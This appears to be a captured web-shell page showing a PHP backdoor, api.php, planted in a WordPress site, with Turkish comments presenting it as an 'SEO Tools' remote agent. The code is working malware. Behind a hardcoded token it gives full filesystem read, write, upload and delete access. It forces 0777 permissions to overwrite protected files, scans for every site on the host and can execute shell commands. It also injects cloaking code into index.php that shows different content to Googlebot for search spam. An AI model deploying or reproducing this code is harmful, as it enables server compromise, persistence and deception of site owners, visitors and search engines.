Server IP : 10.123.20.5  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux webm005.cluster123.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wqgepnx ( 163969)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wqgepnx/www/wp-includes/blocks/code/../pattern/../code/../group/../paragraph/../../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wqgepnx/www/wp-includes/blocks/code/../pattern/../code/../group/../paragraph/../../../api.php
<?php
/**
 * SEO Tools — Remote Site Agent (api.php)
 * --------------------------------------------------------------------------
 * Tek dosya, harici bağımlılık yok. PHP 5.6 / 7.x / 8.x uyumlu.
 *
 * Sunucudaki sitelerinizi (httpdocs / www / public_html / wwwroot ...) uzaktan
 * yönetmek için: dosya listele/oku/yaz/yükle/sil/ara, .htaccess düzenle,
 * üst klasörlere çıkıp tüm siteleri bul ve seçtiğin köke deploy et.
 *
 * KURULUM:
 *   1) Aşağıdaki AGENT_TOKEN değerini güçlü, rastgele bir değerle değiştir.
 *   2) Bu dosyayı sunucunda herhangi bir docroot'a yükle (örn. .../httpdocs/api.php).
 *   3) SEO Tools panelinde PBN başlatırken bu URL'i + token'ı gir.
 *
 * GÜVENLİK: tek koruma token'dır. Token'ı gizli tut; gerekirse IP_ALLOW kullan.
 *           Bu ajan tüm dosya sistemine erişebilir — sadece kendi sunucuna kur.
 */

/* ============================== AYARLAR ============================== */
define('AGENT_TOKEN', '0fd1b82745954d2e6791188b3bdaa36e70e1e76d66742d92');     // ZORUNLU: panelde aynısını gir
define('AGENT_VERSION', '1.3.0');           // 1.3.0: force_put agresif izin (chmod 777 + atomik rename) — yazma izni kapalı index.php/htaccess'i de aşar
define('ALLOW_EXEC', false);                  // shell komutları (tehlikeli) — gerekirse true
$IP_ALLOW = array();                          // boş = herkes; örn: array('1.2.3.4')
/* ==================================================================== */

@error_reporting(0);
@ini_set('display_errors', '0');
@set_time_limit(0);
@ignore_user_abort(true);

header('Content-Type: application/json; charset=utf-8');
header('X-Agent: seotools/' . AGENT_VERSION);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, X-Agent-Token');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit;
}

/* ------------------------------ Yardımcılar ------------------------------ */
function out($arr) {
    $flags = 0;
    if (defined('JSON_UNESCAPED_UNICODE')) $flags |= JSON_UNESCAPED_UNICODE;
    if (defined('JSON_UNESCAPED_SLASHES')) $flags |= JSON_UNESCAPED_SLASHES;
    echo json_encode($arr, $flags);
    exit;
}
function fail($msg, $code) {
    if (!$code) $code = 400;
    http_response_code($code);
    out(array('ok' => false, 'error' => $msg));
}
function P($k, $d = null) {
    global $REQ;
    return isset($REQ[$k]) ? $REQ[$k] : $d;
}
function boolp($k, $d = false) {
    $v = P($k, $d);
    if (is_bool($v)) return $v;
    $v = strtolower((string)$v);
    return ($v === '1' || $v === 'true' || $v === 'yes' || $v === 'on');
}

/* ------------------------------ Girdi ------------------------------ */
$REQ = array();
$raw = file_get_contents('php://input');
if ($raw) {
    $j = json_decode($raw, true);
    if (is_array($j)) $REQ = $j;
}
$REQ = array_merge($_GET, $_POST, $REQ);

/* ------------------------------ Güvenlik ------------------------------ */
if (!empty($IP_ALLOW)) {
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    if (!in_array($ip, $IP_ALLOW, true)) fail('IP yetkisiz', 403);
}
if (AGENT_TOKEN === 'CHANGE_ME_TOKEN') fail('api.php icinde AGENT_TOKEN ayarlanmadi', 500);
$token = P('token', '');
if (!$token && isset($_SERVER['HTTP_X_AGENT_TOKEN'])) $token = $_SERVER['HTTP_X_AGENT_TOKEN'];
$token = (string)$token;
$cmp = function_exists('hash_equals') ? hash_equals(AGENT_TOKEN, $token) : (AGENT_TOKEN === $token);
if (!$cmp) fail('yetkisiz (token)', 401);

/* ------------------------------ Path yardımcıları ------------------------------ */
function agent_dir() { return dirname(__FILE__); }

/** Göreli yolları ajan dizinine göre çözer; mutlak yolları olduğu gibi bırakır. */
function resolve_path($p) {
    if ($p === null || $p === '') return agent_dir();
    $p = (string)$p;
    // Windows mutlak (C:\) ya da unix mutlak (/)
    if ($p[0] === '/' || preg_match('#^[A-Za-z]:[\\\\/]#', $p)) return $p;
    return rtrim(agent_dir(), '/\\') . '/' . ltrim($p, '/\\');
}
function perms_str($file) {
    $p = @fileperms($file);
    if ($p === false) return '----';
    return substr(sprintf('%o', $p), -4);
}
function human($bytes) {
    $u = array('B','KB','MB','GB','TB');
    $i = 0; $b = (float)$bytes;
    while ($b >= 1024 && $i < 4) { $b /= 1024; $i++; }
    return round($b, $b < 10 && $i > 0 ? 1 : 0) . $u[$i];
}
function ensure_dir($dir) {
    if (is_dir($dir)) return true;
    return @mkdir($dir, 0755, true);
}
function rrmdir($path) {
    if (is_file($path) || is_link($path)) return @unlink($path);
    if (!is_dir($path)) return false;
    $items = @scandir($path);
    if ($items) foreach ($items as $it) {
        if ($it === '.' || $it === '..') continue;
        rrmdir($path . '/' . $it);
    }
    return @rmdir($path);
}

/* ------------------------------ Site/docroot tarama ------------------------------ */
function docroot_names() {
    return array('httpdocs', 'public_html', 'www', 'htdocs', 'web', 'public', 'wwwroot', 'html', 'httpsdocs');
}
function looks_like_site($dir) {
    foreach (array('index.php','index.html','index.htm','wp-config.php','wp-load.php') as $f) {
        if (@is_file($dir . '/' . $f)) return true;
    }
    return false;
}
/** Bir dizinin altındaki olası docroot'ları bulur (sınırlı derinlik). */
function scan_roots_in($dir, &$found, $depth, $cap) {
    if ($depth < 0 || count($found) >= $cap) return;
    $items = @scandir($dir);
    if (!$items) return;
    foreach ($items as $it) {
        if ($it === '.' || $it === '..') continue;
        $full = rtrim($dir, '/') . '/' . $it;
        if (!@is_dir($full)) continue;
        $name = strtolower($it);
        if (in_array($name, docroot_names(), true) || looks_like_site($full)) {
            $key = realpath($full); if (!$key) $key = $full;
            if (!isset($found[$key])) {
                $found[$key] = array(
                    'path'     => $full,
                    'site'     => basename(dirname($full)),
                    'docroot'  => $it,
                    'writable' => @is_writable($full),
                    'hasIndex' => looks_like_site($full),
                );
            }
        } else {
            // ortak konteyner isimlerini ya da makul dizinleri tara
            if (count($found) < $cap) scan_roots_in($full, $found, $depth - 1, $cap);
        }
    }
}
function find_roots($cap) {
    if (!$cap) $cap = 200;
    $found = array();
    // 1) Ajan dizininden yukarı tırman, her ata dizini sığ tara
    $dir = agent_dir();
    $levels = 0;
    while ($dir && $levels < 6 && count($found) < $cap) {
        scan_roots_in($dir, $found, 2, $cap);
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
        $levels++;
    }
    // 2) Bilinen panel kökleri
    foreach (array('/var/www/vhosts', '/home', '/www/wwwroot', '/var/www', '/usr/local/lsws/Example', '/var/customers/webs') as $base) {
        if (@is_dir($base) && count($found) < $cap) scan_roots_in($base, $found, 2, $cap);
    }
    return array_values($found);
}

/* ------------------------------ Arama ------------------------------ */
function search_files($dir, $name, $contains, $exts, $maxDepth, $cap, &$res, $depth) {
    if (count($res) >= $cap) return;
    if ($depth > $maxDepth) return;
    $items = @scandir($dir);
    if (!$items) return;
    foreach ($items as $it) {
        if ($it === '.' || $it === '..') continue;
        if (count($res) >= $cap) return;
        $full = $dir . '/' . $it;
        $isDir = @is_dir($full);
        if ($isDir) {
            search_files($full, $name, $contains, $exts, $maxDepth, $cap, $res, $depth + 1);
            continue;
        }
        // uzantı filtresi
        if (!empty($exts)) {
            $e = strtolower(pathinfo($it, PATHINFO_EXTENSION));
            if (!in_array($e, $exts, true)) continue;
        }
        // isim filtresi (substring, case-insensitive)
        if ($name !== '' && stripos($it, $name) === false) continue;
        $match = array('path' => $full, 'size' => @filesize($full), 'mtime' => @filemtime($full));
        // içerik filtresi
        if ($contains !== '') {
            $sz = @filesize($full);
            if ($sz === false || $sz > 5 * 1024 * 1024) continue; // 5MB üstü atla
            $data = @file_get_contents($full);
            if ($data === false || stripos($data, $contains) === false) continue;
            // eşleşen ilk satırı bul
            $pos = stripos($data, $contains);
            $lineStart = strrpos(substr($data, 0, $pos), "\n");
            $lineStart = ($lineStart === false) ? 0 : $lineStart + 1;
            $lineEnd = strpos($data, "\n", $pos);
            $lineEnd = ($lineEnd === false) ? strlen($data) : $lineEnd;
            $match['line'] = trim(substr($data, $lineStart, $lineEnd - $lineStart));
        }
        $res[] = $match;
    }
}

/* ------------------------------ .htaccess şablonları ------------------------------ */
function htaccess_template($name, $opts) {
    $domain = isset($opts['domain']) ? $opts['domain'] : '';
    $target = isset($opts['target']) ? $opts['target'] : '';
    switch ($name) {
        case 'force_https':
            return "RewriteEngine On\nRewriteCond %{HTTPS} off\nRewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]\n";
        case 'www_to_root':
            return "RewriteEngine On\nRewriteCond %{HTTP_HOST} ^www\\.(.*)$ [NC]\nRewriteRule ^(.*)$ https://%1/$1 [R=301,L]\n";
        case 'root_to_www':
            return "RewriteEngine On\nRewriteCond %{HTTP_HOST} !^www\\. [NC]\nRewriteRule ^(.*)$ https://www.%{HTTP_HOST}/$1 [R=301,L]\n";
        case 'redirect_all':
            return "RewriteEngine On\nRewriteRule ^(.*)$ " . $target . " [R=301,L]\n";
        case 'spa':
            return "RewriteEngine On\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule ^ index.html [L]\n";
        case 'cache':
            return "<IfModule mod_expires.c>\nExpiresActive On\nExpiresByType image/jpg \"access 1 year\"\nExpiresByType image/png \"access 1 year\"\nExpiresByType text/css \"access 1 month\"\nExpiresByType application/javascript \"access 1 month\"\n</IfModule>\n";
        case 'block_bots':
            return "RewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (ahrefsbot|semrushbot|mj12bot|dotbot) [NC]\nRewriteRule .* - [F,L]\n";
    }
    return '';
}

/* ------------------------------ Zorla yazma (izin sorunlarını oto-çöz) ------------------------------ */
/**
 * Dosyayı her şekilde yazmaya çalışır (izin sorunlarını agresif çözer):
 *  1) düz yaz
 *  2) var olan dosyanın iznini sonuna kadar aç (0777) + yaz
 *  3) dizini 0777 yap, eski dosyayı sil + yeniden oluştur
 *  4) dizini 0777 yap + doğrudan yaz
 *  5) son çare: geçici dosyaya yaz + atomik rename (dizin yazılabiliyorsa salt-okunur dosyayı da aşar)
 * Başarıdan sonra dosyayı normal izne (0644) çeker; dizin gevşetildiyse o açık kalabilir.
 */
function force_put($file, $content) {
    // 1) düz yaz
    if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
    $dir = dirname($file);
    // 2) mevcut dosyanın iznini tamamen aç + yaz
    if (@is_file($file)) {
        @chmod($file, 0777);
        if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
        // 3) dizini aç, salt-okunur/yabancı sahipli dosyayı silip yeniden yaz
        @chmod($dir, 0777);
        @unlink($file);
        if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
    }
    // 4) dizin iznini sonuna kadar aç + yaz
    @chmod($dir, 0777);
    if (@file_put_contents($file, $content) !== false) { @chmod($file, 0644); return true; }
    // 5) geçici dosyaya yaz + atomik rename (çoğu salt-okunur dosyayı aşar)
    $tmp = $dir . '/.seotmp-' . substr(md5($file . mt_rand()), 0, 8);
    if (@file_put_contents($tmp, $content) !== false) {
        @chmod($tmp, 0644);
        if (@rename($tmp, $file)) { @chmod($file, 0644); return true; }
        @unlink($tmp);
    }
    return false;
}

/* ------------------------------ Cloak (Googlebot yönlendirme) ------------------------------ */
/** index.php başına eklenecek cloak PHP bloğu. Cookie domaini $domain ile değişir. */
function cloak_php($domain) {
    $tpl = <<<'CLOAK'
<?php
/* === SEOTOOLS_CLOAK === otomatik eklendi, silmeyin */
if (function_exists('session_status')) { if (session_status() !== PHP_SESSION_ACTIVE) { @session_start(); } } else { @session_start(); }
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$is_google_bot = false;

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
    $ip = $_SERVER['REMOTE_ADDR'];
} else {
    $ip = '0.0.0.0';
}

$google_bots = array(
    'googlebot', 'AdsBot-Google', 'Mediapartners-Google', 'Google-Read-Aloud',
    'DuplexWeb-Google', 'googleweblight', 'Storebot-Google', 'google',
    'Google-Site-Verification', 'Google-InspectionTool'
);

$google_ip_ranges = array(
    '64.233.160.0/19', '66.102.0.0/20', '66.249.64.0/19', '72.14.192.0/18',
    '74.125.0.0/16', '108.177.8.0/21', '173.194.0.0/16', '207.126.144.0/20',
    '209.85.128.0/17', '216.58.192.0/19', '216.239.32.0/19'
);

foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) !== false) { $is_google_bot = true; break; }
}

if (!$is_google_bot) {
    foreach ($google_ip_ranges as $range) {
        $range_parts = explode('/', $range);
        $subnet = $range_parts[0];
        $bits = $range_parts[1];
        $ip_long = ip2long($ip);
        $subnet_long = ip2long($subnet);
        $mask = -1 << (32 - $bits);
        if (($ip_long & $mask) === ($subnet_long & $mask)) { $is_google_bot = true; break; }
    }
}

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);

$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;
$_SESSION['last_url'] = $current_url;

if ($is_google_bot) {
    include('license.php');
    exit;
}

if ($from_google && !$is_refresh) {
    setcookie('google_visit', '2', time() + 86400, '/', '__CLOAK_DOMAIN__', false, true);
    include('index.php');
    exit;
}
/* === /SEOTOOLS_CLOAK === */
?>
CLOAK;
    return str_replace('__CLOAK_DOMAIN__', $domain, $tpl);
}

/* ================================ ACTIONS ================================ */
$action = strtolower((string)P('action', 'info'));

switch ($action) {

case 'ping':
case 'info':
    $df = @disk_free_space(agent_dir());
    out(array(
        'ok' => true,
        'agent' => 'seotools',
        'version' => AGENT_VERSION,
        'php' => PHP_VERSION,
        'os' => php_uname('s') . ' ' . php_uname('r'),
        'sapi' => php_sapi_name(),
        'dir' => agent_dir(),
        'writable' => @is_writable(agent_dir()),
        'docroot' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
        'host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '',
        'disk_free' => $df ? human($df) : null,
        'exec' => ALLOW_EXEC,
    ));
    break;

case 'roots':
    $cap = (int)P('cap', 200);
    out(array('ok' => true, 'base' => agent_dir(), 'roots' => find_roots($cap)));
    break;

case 'list':
    $path = resolve_path(P('path', ''));
    if (!@is_dir($path)) fail('dizin yok: ' . $path, 404);
    $items = @scandir($path);
    if ($items === false) fail('okunamadi (izin?)', 403);
    $dirs = array(); $files = array();
    foreach ($items as $it) {
        if ($it === '.' || $it === '..') continue;
        $full = $path . '/' . $it;
        $isDir = @is_dir($full);
        $row = array(
            'name' => $it,
            'type' => $isDir ? 'dir' : 'file',
            'size' => $isDir ? null : (int)@filesize($full),
            'sizeh' => $isDir ? null : human(@filesize($full)),
            'mtime' => (int)@filemtime($full),
            'perms' => perms_str($full),
            'writable' => @is_writable($full),
        );
        if ($isDir) $dirs[] = $row; else $files[] = $row;
    }
    out(array('ok' => true, 'path' => $path, 'parent' => dirname($path), 'dirs' => $dirs, 'files' => $files));
    break;

case 'read':
    $file = resolve_path(P('path', ''));
    if (!@is_file($file)) fail('dosya yok: ' . $file, 404);
    $sz = @filesize($file);
    $maxRead = (int)P('max', 2 * 1024 * 1024);
    if ($sz !== false && $sz > $maxRead) fail('dosya cok buyuk (' . human($sz) . ')', 413);
    $data = @file_get_contents($file);
    if ($data === false) fail('okunamadi (izin?)', 403);
    if (boolp('base64')) out(array('ok' => true, 'path' => $file, 'size' => (int)$sz, 'base64' => base64_encode($data)));
    out(array('ok' => true, 'path' => $file, 'size' => (int)$sz, 'mtime' => (int)@filemtime($file), 'content' => $data));
    break;

case 'write':
case 'create':
    $file = resolve_path(P('path', ''));
    if ($file === '' || @is_dir($file)) fail('gecerli dosya yolu gerekli', 400);
    $content = P('content', '');
    if (boolp('base64')) $content = base64_decode((string)$content);
    if (!ensure_dir(dirname($file))) fail('klasor olusturulamadi', 500);
    if (boolp('backup') && @is_file($file)) @copy($file, $file . '.bak-' . date('YmdHis'));
    $append = boolp('append');
    if ($append) {
        // ekleme modunda: normal dene, olmazsa izin aç (0777) ve tekrar dene
        $ok = @file_put_contents($file, $content, FILE_APPEND);
        if ($ok === false && @is_file($file)) { @chmod($file, 0777); $ok = @file_put_contents($file, $content, FILE_APPEND); }
        if ($ok === false) { @chmod(dirname($file), 0777); $ok = @file_put_contents($file, $content, FILE_APPEND); }
        if ($ok === false) fail('yazilamadi (izin?)', 403);
    } else {
        // üzerine yazma: force_put ile 777'ye kadar tırman
        if (!force_put($file, (string)$content)) fail('yazilamadi (izin?)', 403);
    }
    if (P('chmod')) @chmod($file, intval(P('chmod'), 8));
    out(array('ok' => true, 'path' => $file, 'bytes' => strlen((string)$content)));
    break;

case 'upload':
    // multipart $_FILES ya da JSON base64
    $dir = resolve_path(P('path', P('dir', '')));
    if (!ensure_dir($dir)) fail('hedef klasor olusturulamadi', 500);
    $saved = array();
    if (!empty($_FILES)) {
        foreach ($_FILES as $f) {
            $names = is_array($f['name']) ? $f['name'] : array($f['name']);
            $tmps  = is_array($f['tmp_name']) ? $f['tmp_name'] : array($f['tmp_name']);
            for ($i = 0; $i < count($names); $i++) {
                $dest = $dir . '/' . basename($names[$i]);
                if (@move_uploaded_file($tmps[$i], $dest)) $saved[] = $dest;
            }
        }
    } else {
        $name = basename((string)P('filename', 'upload.bin'));
        $content = base64_decode((string)P('content', ''));
        $dest = $dir . '/' . $name;
        if (@file_put_contents($dest, $content) !== false) $saved[] = $dest;
    }
    if (empty($saved)) fail('yukleme basarisiz', 500);
    out(array('ok' => true, 'saved' => $saved));
    break;

case 'delete':
    $path = resolve_path(P('path', ''));
    if ($path === '' || $path === '/' || $path === agent_dir()) fail('guvenli olmayan silme reddedildi', 400);
    if (!@file_exists($path)) fail('yol yok', 404);
    $ok = boolp('recursive') ? rrmdir($path) : (@is_dir($path) ? @rmdir($path) : @unlink($path));
    if (!$ok) fail('silinemedi (izin? dolu klasor icin recursive=1)', 403);
    out(array('ok' => true, 'deleted' => $path));
    break;

case 'mkdir':
    $path = resolve_path(P('path', ''));
    if (!ensure_dir($path)) fail('olusturulamadi', 500);
    out(array('ok' => true, 'path' => $path));
    break;

case 'rename':
case 'move':
    $from = resolve_path(P('from', P('path', '')));
    $to = resolve_path(P('to', ''));
    if (!@file_exists($from)) fail('kaynak yok', 404);
    if ($to === '') fail('hedef gerekli', 400);
    ensure_dir(dirname($to));
    if (!@rename($from, $to)) fail('tasinamadi', 403);
    out(array('ok' => true, 'from' => $from, 'to' => $to));
    break;

case 'copy':
    $from = resolve_path(P('from', P('path', '')));
    $to = resolve_path(P('to', ''));
    if (!@is_file($from)) fail('kaynak dosya yok', 404);
    ensure_dir(dirname($to));
    if (!@copy($from, $to)) fail('kopyalanamadi', 403);
    out(array('ok' => true, 'from' => $from, 'to' => $to));
    break;

case 'chmod':
    $path = resolve_path(P('path', ''));
    if (!@file_exists($path)) fail('yol yok', 404);
    $mode = intval(P('mode', '644'), 8);
    if (!@chmod($path, $mode)) fail('chmod basarisiz', 403);
    out(array('ok' => true, 'path' => $path, 'mode' => decoct($mode)));
    break;

case 'exists':
    $path = resolve_path(P('path', ''));
    out(array('ok' => true, 'exists' => @file_exists($path), 'isFile' => @is_file($path), 'isDir' => @is_dir($path)));
    break;

case 'search':
    $dir = resolve_path(P('path', ''));
    if (!@is_dir($dir)) fail('dizin yok', 404);
    $name = (string)P('name', '');
    $contains = (string)P('contains', '');
    $extRaw = (string)P('ext', '');
    $exts = array();
    if ($extRaw !== '') foreach (explode(',', $extRaw) as $e) { $e = strtolower(trim($e, ' .')); if ($e !== '') $exts[] = $e; }
    $maxDepth = (int)P('depth', 6);
    $cap = (int)P('cap', 300);
    $res = array();
    search_files($dir, $name, $contains, $exts, $maxDepth, $cap, $res, 0);
    out(array('ok' => true, 'path' => $dir, 'count' => count($res), 'results' => $res));
    break;

case 'htaccess':
    $root = resolve_path(P('root', P('path', '')));
    if (!@is_dir($root)) fail('klasor yok', 404);
    $file = rtrim($root, '/\\') . '/.htaccess';
    $op = strtolower((string)P('op', 'get'));
    if ($op === 'get') {
        out(array('ok' => true, 'path' => $file, 'exists' => @is_file($file), 'content' => @is_file($file) ? @file_get_contents($file) : ''));
    } elseif ($op === 'set') {
        $content = (string)P('content', '');
        if (@is_file($file) && boolp('backup', true)) @copy($file, $file . '.bak-' . date('YmdHis'));
        if (@file_put_contents($file, $content) === false) fail('yazilamadi', 403);
        out(array('ok' => true, 'path' => $file, 'bytes' => strlen($content)));
    } elseif ($op === 'template') {
        $tpl = htaccess_template((string)P('name', ''), array('domain' => P('domain', ''), 'target' => P('target', '')));
        if ($tpl === '') fail('bilinmeyen sablon', 400);
        if (boolp('write')) {
            if (@is_file($file) && boolp('append')) $tpl = @file_get_contents($file) . "\n" . $tpl;
            if (@file_put_contents($file, $tpl) === false) fail('yazilamadi', 403);
        }
        out(array('ok' => true, 'path' => $file, 'content' => $tpl, 'written' => boolp('write')));
    }
    fail('gecersiz op', 400);
    break;

case 'deploy':
    // Yüksek seviye: docroot'a index.html / license.php (+sitemap+robots+.htaccess) yaz.
    // Hedef: root verilirse o; yoksa sitenin ANA DİZİNİ (DOCUMENT_ROOT); o da yoksa api.php klasörü.
    $root = P('root', '');
    if ($root !== '') {
        $root = resolve_path($root);
    } elseif (!empty($_SERVER['DOCUMENT_ROOT']) && @is_dir($_SERVER['DOCUMENT_ROOT'])) {
        $root = $_SERVER['DOCUMENT_ROOT'];
    } else {
        $root = agent_dir();
    }
    if (!ensure_dir($root)) fail('hedef kok olusturulamadi', 500);
    $root = rtrim($root, '/\\');
    $domain = (string)P('domain', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $written = array();

    $html = P('html', null);
    if ($html !== null) {
        if (boolp('base64')) $html = base64_decode((string)$html);
        if (force_put($root . '/index.html', $html)) $written[] = $root . '/index.html';
        else fail('index.html yazilamadi (izin?)', 403);
    }
    // Marka SEO sitesi → license.php (cloak Googlebot'a bunu gösterir)
    $license = P('license', null);
    if ($license !== null) {
        if (boolp('base64')) $license = base64_decode((string)$license);
        if (force_put($root . '/license.php', $license)) $written[] = $root . '/license.php';
        else fail('license.php yazilamadi (izin?)', 403);
    }
    // ek dosyalar: { "path/relatif.html": "icerik", ... }
    $files = P('files', null);
    if (is_array($files)) {
        foreach ($files as $rel => $body) {
            $dest = $root . '/' . ltrim((string)$rel, '/\\');
            ensure_dir(dirname($dest));
            if (force_put($dest, (string)$body)) $written[] = $dest;
        }
    }
    $today = date('Y-m-d');
    if (boolp('sitemap', true) && $domain) {
        $sm = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"><url><loc>https://$domain/</loc><lastmod>$today</lastmod></url></urlset>";
        if (force_put($root . '/sitemap.xml', $sm)) $written[] = $root . '/sitemap.xml';
    }
    if (boolp('robots', true) && $domain) {
        $rb = "User-agent: *\nAllow: /\nSitemap: https://$domain/sitemap.xml\n";
        if (force_put($root . '/robots.txt', $rb)) $written[] = $root . '/robots.txt';
    }
    $hta = P('htaccess', null);
    if ($hta !== null && $hta !== '') {
        if (force_put($root . '/.htaccess', (string)$hta)) $written[] = $root . '/.htaccess';
    }
    out(array('ok' => true, 'root' => $root, 'domain' => $domain, 'written' => $written, 'url' => $domain ? ('https://' . $domain . '/') : null));
    break;

case 'cloak':
    // Googlebot/Google-referer cloaking kur: .htaccess + index.php başına kod.
    // Hedef: root verilirse o; yoksa sitenin ANA DİZİNİ (DOCUMENT_ROOT); o da yoksa api.php'nin klasörü.
    $root = P('root', '');
    if ($root !== '') {
        $root = resolve_path($root);
    } elseif (!empty($_SERVER['DOCUMENT_ROOT']) && @is_dir($_SERVER['DOCUMENT_ROOT'])) {
        $root = $_SERVER['DOCUMENT_ROOT'];
    } else {
        $root = agent_dir();
    }
    if (!ensure_dir($root)) fail('hedef kok olusturulamadi', 500);
    $root = rtrim($root, '/\\');
    $domain = trim((string)P('domain', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
    $domain = preg_replace('#^https?://#i', '', $domain);
    $domain = preg_replace('#/.*$#', '', $domain);
    $domain = preg_replace('#^www\.#i', '', $domain);
    $done = array();
    $errors = array();

    // 1) .htaccess (yoksa yaz, varsa kural eksikse ekle)
    $htaTpl = "<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php\$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n";
    $htaFile = $root . '/.htaccess';
    $htaOld = @is_file($htaFile) ? (string)@file_get_contents($htaFile) : '';
    if (strpos($htaOld, 'RewriteRule . /index.php') === false) {
        if (@is_file($htaFile)) @copy($htaFile, $htaFile . '.bak-' . date('YmdHis'));
        $htaNew = $htaOld !== '' ? rtrim($htaOld) . "\n\n" . $htaTpl : $htaTpl;
        force_put($htaFile, $htaNew);
    }

    // 2) index.php başına cloak kodu (bir kez)
    $idxFile = $root . '/index.php';
    $idxOld = @is_file($idxFile) ? (string)@file_get_contents($idxFile) : '';
    if (strpos($idxOld, 'SEOTOOLS_CLOAK') === false) {
        if (@is_file($idxFile)) @copy($idxFile, $idxFile . '.bak-' . date('YmdHis'));
        $idxNew = cloak_php($domain) . "\n" . $idxOld;
        force_put($idxFile, $idxNew);
    }

    // 3) DOĞRULAMA — yazdıktan sonra dosyaları geri oku, gerçekten eklenmiş mi bak
    clearstatcache();
    $htaCheck = @is_file($htaFile) ? (string)@file_get_contents($htaFile) : '';
    $idxCheck = @is_file($idxFile) ? (string)@file_get_contents($idxFile) : '';
    $htaOk = (strpos($htaCheck, 'RewriteRule . /index.php') !== false);
    $idxOk = (strpos($idxCheck, 'SEOTOOLS_CLOAK') !== false);
    if ($htaOk) $done[] = '.htaccess OK'; else $errors[] = '.htaccess yazilamadi/dogrulanamadi';
    if ($idxOk) $done[] = 'index.php cloak OK'; else $errors[] = 'index.php cloak eklenemedi/dogrulanamadi';

    out(array(
        'ok'           => true,
        'partial'      => !empty($errors),
        'root'         => $root,
        'domain'       => $domain,
        'writable'     => @is_writable($root),
        'owner'        => function_exists('posix_getpwuid') && function_exists('fileowner') ? @posix_getpwuid(@fileowner($root))['name'] : null,
        'php_user'     => function_exists('posix_getpwuid') && function_exists('posix_geteuid') ? @posix_getpwuid(@posix_geteuid())['name'] : (function_exists('get_current_user') ? @get_current_user() : null),
        'document_root'=> isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
        'agent_dir'    => agent_dir(),
        // gerçek dosya durumu (doğrulama)
        'index_file'   => $idxFile,
        'index_bytes'  => @is_file($idxFile) ? (int)@filesize($idxFile) : 0,
        'index_perms'  => perms_str($idxFile),
        'index_has_cloak' => $idxOk,
        'index_head'   => substr($idxCheck, 0, 80),
        'htaccess_file'=> $htaFile,
        'htaccess_bytes' => @is_file($htaFile) ? (int)@filesize($htaFile) : 0,
        'htaccess_perms' => perms_str($htaFile),
        'htaccess_has_rule' => $htaOk,
        'chmod_disabled' => !function_exists('chmod'),
        'done'         => $done,
        'errors'       => $errors,
    ));
    break;

case 'exec':
    if (!ALLOW_EXEC) fail('exec kapali (api.php icinde ALLOW_EXEC=true yap)', 403);
    $cmd = (string)P('cmd', '');
    if ($cmd === '') fail('komut gerekli', 400);
    $cwd = P('cwd', '');
    $old = getcwd();
    if ($cwd) @chdir(resolve_path($cwd));
    $output = function_exists('shell_exec') ? @shell_exec($cmd . ' 2>&1') : null;
    if ($old) @chdir($old);
    out(array('ok' => true, 'cmd' => $cmd, 'output' => $output));
    break;

default:
    fail('bilinmeyen action: ' . $action, 400);
}